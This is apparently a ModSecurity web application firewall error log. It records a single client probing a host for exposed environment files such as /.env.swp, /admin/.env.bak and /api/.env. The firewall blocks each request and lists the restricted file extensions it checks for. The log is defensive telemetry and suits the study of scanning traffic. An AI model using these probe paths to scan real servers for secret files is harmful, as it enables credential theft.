[Fri Oct 24 20:58:11.316742 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.645792 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.645986 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.646231 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.646423 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbNwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.747100 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.747350 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.747510 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.801830 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.802130 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.802330 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.849643 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.849919 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.850096 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.910035 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.910309 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.910518 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbOwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.953086 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.953322 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.953466 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.992433 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.992608 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.992838 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:11.993003 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMQ6DAbBJ3ZgAeIEJbPQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.045465 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.045644 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.045864 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.046015 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.091957 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.092208 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPwAAAAE&quot;], referer: https://www.google.com/
